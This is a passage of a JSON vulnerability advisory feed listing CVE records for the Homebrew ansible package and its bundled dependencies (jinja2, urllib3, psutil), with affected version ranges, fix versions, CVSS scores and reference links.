strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"ansible-playbook -k and ansible cli tools, all versions 2.8.x before 2.8.4, all 2.7.x before 2.7.13 and all 2.6.x before 2.6.19, prompt passwords by expanding them from templates as they could contain special characters. Passwords should be wrapped to prevent templates trigger and exposing them.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10206"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-10217","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2019-10217","GHSA-p75j-wc34-527c","PYSEC-2019-3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.4"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"}]},"details":"A flaw was found in ansible 2.8.0 before 2.8.4. Fields managing sensitive data should be set as such by no_log feature. Some of these fields in GCP modules are not set properly. service_account_contents() which is common class for all gcp modules is not setting no_log to True. Any sensitive data managed by that function would be leak as an output when running ansible playbooks.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"},{"type":"ADVISORY","url":"https://github.com/ansible/ansible/pull/59427"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10217"},{"type":"EVIDENCE","url":"https://github.com/ansible/ansible/issues/56269"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-10906","published":"2026-08-13T16:35:22Z","modified":"2026-10-09T02:52:46Z","upstream":["GHSA-462w-v97r-4m45","CVE-2019-10906","PYSEC-2019-217"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.2"},{"fixed":"2.8.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja2 sandbox escape via string formatting","details":"In Pallets Jinja before 2.10.1, `str.format_map` allows a sandbox escape.\n\nThe sandbox is used to restrict what code can be evaluated when rendering untrusted, user-provided templates. Due to the way string formatting works in Python, the `str.format_map` method could be used to escape the sandbox.\n\nThis issue was previously addressed for the `str.format` method in Jinja 2.8.1, which discusses the issue in detail. However, the less-common `str.format_map` method was overlooked. This release applies the same sandboxing to both methods.\n\nIf you cannot upgrade Jinja, you can override the `is_safe_attribute` method on the sandbox and explicitly disallow the `format_map` method on string objects.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10906"},{"type":"WEB","url":"https://usn.ubuntu.com/4011-2"},{"type":"WEB","url":"https://usn.ubuntu.com/4011-1"},{"type":"WEB","url":"https://palletsprojects.com/blog/jinja-2-10-1-released"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TS7IVZAJBWOHNRDMFJDIZVFCMRP6YIUQ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QCDYIS254EJMBNWOG4S5QY6AOTOR4TZU"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DSW3QZMFVVR7YE3UT4YRQA272TYAL5AF"},{"type":"WEB","url":"https://lists.apache.org/thread.html/f0c4a03418bcfe70c539c5dbaf99c04c98da13bfa1d3266f08564316@%3Ccommits.airflow.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/b2380d147b508bbcb90d2cad443c159e63e12555966ab4f320ee22da@%3Ccommits.airflow.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/7f39f01392d320dfb48e4901db68daeece62fd60ef20955966739993@%3Ccommits.airflow.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/57673a78c4d5c870d3f21465c7e2946b9f8285c7c57e54c2ae552f02@%3Ccommits.airflow.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/46c055e173b52d599c648a98199972dbd6a89d2b4c4647b0500f2284@%3Cdevnull.infra.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/320441dccbd9a545320f5f07306d711d4bbd31ba43dc9eebcfc602df@%3Cdevnull.infra.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/2b52b9c8b9d6366a4f1b407a8bde6af28d9fc73fdb3b37695fd0d9ac@%3Cdevnull.infra.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/09fc842ff444cd43d9d4c510756fec625ef8eb1175f14fd21de2605f@%3Cdevnull.infra.apache.org%3E"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/jinja2/PYSEC-2019-217.yaml"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-462w-v97r-4m45"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:1329"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:1237"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:1152"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00030.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00064.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-11236","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:13:11Z","upstream":["GHSA-r64q-w8jr-g9qp","CVE-2019-11236","PYSEC-2019-132"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.1.0"},{"fixed":"2.8.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.24.3","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Improper Neutralization of CRLF Sequences in urllib3 library for Python","details":"In the urllib3 library through 1.24.2 for Python, CRLF injection is possible if the attacker controls the request parameter.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-11236"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/issues/1553"},{"type":"WEB","url":"https://usn.ubuntu.com/3990-2"},{"type":"WEB","url":"https://usn.ubuntu.com/3990-1"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XOSA2NT4DUQDBEIWE6O7KKD24XND7TE2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TBI45HO533KYHNB5YRO43TBYKA3E3VRL"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/R62XGEYPUTXMRHGX5I37EBCGQ5COHGKR"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NKGPJLVLVYCL4L4B4G5TIOTVK4BKPG72"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/10/msg00012.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/06/msg00015.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/06/msg00016.html"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2019-132.yaml"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-r64q-w8jr-g9qp"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3590"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3335"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:2272"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00039.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00041.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-11324","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:13:10Z","upstream":["GHSA-mh33-7rrq-662w","CVE-2019-11324","PYSEC-2019-133"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.1.0"},{"fixed":"2.8.1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.24.2","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Improper Certificate Validation in urllib3","details":"The urllib3 library before 1.24.2 for Python mishandles certain cases where the desired set of CA certificates is different from the OS store of CA certificates, which results in SSL connections succeeding in situations where a verification failure is the correct outcome. This is related to use of the `ssl_context`, `ca_certs`, or `ca_certs_dir` argument.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-11324"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/1efadf43dc63317cd9eaa3e0fdb9e05ab07254b1"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3335"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3590"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-mh33-7rrq-662w"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2019-133.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/compare/a6ec68a...1efadf4"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/06/msg00015.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/10/msg00012.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NKGPJLVLVYCL4L4B4G5TIOTVK4BKPG72"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XOSA2NT4DUQDBEIWE6O7KKD24XND7TE2"},{"type":"WEB","url":"https://pypi.org/project/urllib3/1.24.2"},{"type":"WEB","url":"https://usn.ubuntu.com/3990-1"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00039.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00041.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2019/04/19/1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-14846","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2019-14846","GHSA-pm48-cvv2-29q5","PYSEC-2019-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.6"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"In Ansible, all Ansible Engine versions up to ansible-engine 2.8.5, ansible-engine 2.7.13, ansible-engine 2.6.19, were logging at the DEBUG level which lead to a disclosure of credentials if a plugin used a library that logged credentials at the DEBUG level. This flaw does not affect Ansible modules, as those are executed in a separate process.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3201"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3202"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3203"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3207"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2020:0756"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14846"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/63366"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-14856","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2019-14856","GHSA-6fq2-x65v-v9h7","PYSEC-2019-146"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.6"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"}]},"details":"ansible before versions 2.8.6, 2.7.14, 2.6.20 is vulnerable to a None","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2020:0756"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14856"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-14858","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2019-14858","GHSA-h653-95qw-h2mp","PYSEC-2019-171"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.0rc4"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A vulnerability was found in Ansible engine 2.x up to 2.8 and Ansible tower 3.x up to 3.5. When a module has an argument_spec with sub parameters marked as no_log, passing an invalid parameter name to the module will cause the task to fail before the no_log options in the sub parameters are processed. As a result, data in the sub parameter fields will not be masked and will be displayed if Ansible is run with increased verbosity and present in the module invocation arguments for the task.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3201"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3202"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3203"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:3207"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2020:0756"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14858"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-14864","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2019-14864","GHSA-3m93-m4q6-mc6v","PYSEC-2020-160"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"}]},"details":"Ansible, versions 2.9.x before 2.9.1, 2.8.x before 2.8.7 and Ansible versions 2.7.x before 2.7.15, is not respecting the flag no_log set it to True when Sumologic and Splunk callback plugins are used send tasks results events to collectors. This would discloses and collects any sensitive data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14864"},{"type":"FIX","url":"https://github.com/ansible/ansible/issues/63522"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/63527"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-14904","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2019-14904","GHSA-gwr8-5j83-483c","PYSEC-2020-161"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.3"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in the solaris_zone module from the Ansible Community modules. When setting the name for the zone on the Solaris host, the zone name is checked by listing the process with the 'ps' bare command on the remote machine. An attacker could take advantage of this flaw by crafting the name of the zone and executing arbitrary commands in the remote host. Ansible Engine 2.7.15, 2.8.7, and 2.9.2 as well as previous versions are affected.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L"}],"references":[{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1776944"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/65686"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-14905","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2019-14905","GHSA-frxj-5j27-f8rf","PYSEC-2020-206"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.3"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A vulnerability was found in Ansible Engine versions 2.9.x before 2.9.3, 2.8.x before 2.8.8, 2.7.x before 2.7.16 and earlier, where in Ansible's nxos_file_copy module can be used to copy files to a flash or bootflash on NXOS devices. Malicious code could craft the filename parameter to perform OS command injections. This could result in a loss of confidentiality of the system among other issues.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/5BNCYPQ4BY5QHBCJOAOPANB5FHATW2BR/"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00021.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00026.html"},{"type":"FIX","url":"https://access.redhat.com/errata/RHSA-2020:0216"},{"type":"FIX","url":"https://access.redhat.com/errata/RHSA-2020:0218"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-14905"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2019-18874","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-qfc5-mcwq-26q8","CVE-2019-18874","PYSEC-2019-41"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.6.6","resource":"psutil","resource_purl":"pkg:pypi/psutil@7.2.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"psutil","subject_version":"7.2.2","key":"pkg:pypi/psutil@7.2.2","resource":"psutil"}]},"summary":"Double Free in psutil","details":"psutil (aka python-psutil) through 5.6.5 can have a double free. This occurs because of refcount mishandling within a while or for loop that converts system data into a Python object.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-18874"},{"type":"WEB","url":"https://github.com/giampaolo/psutil/pull/1616"},{"type":"WEB","url":"https://github.com/giampaolo/psutil/commit/7d512c8e4442a896d56505be3e78f1156f443465"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-qfc5-mcwq-26q8"},{"type":"PACKAGE","url":"https://github.com/giampaolo/psutil"},{"type":"WEB","url":"https://github.com/giampaolo/psutil/blob/master/HISTORY.rst#566"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/psutil/PYSEC-2019-41.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/11/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2P7QI7MOTZTFXQYU23CP3RAWXCERMOAS"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OLETTJYZL2SMBUI4Q2NGBMGPDPP54SRG"},{"type":"WEB","url":"https://usn.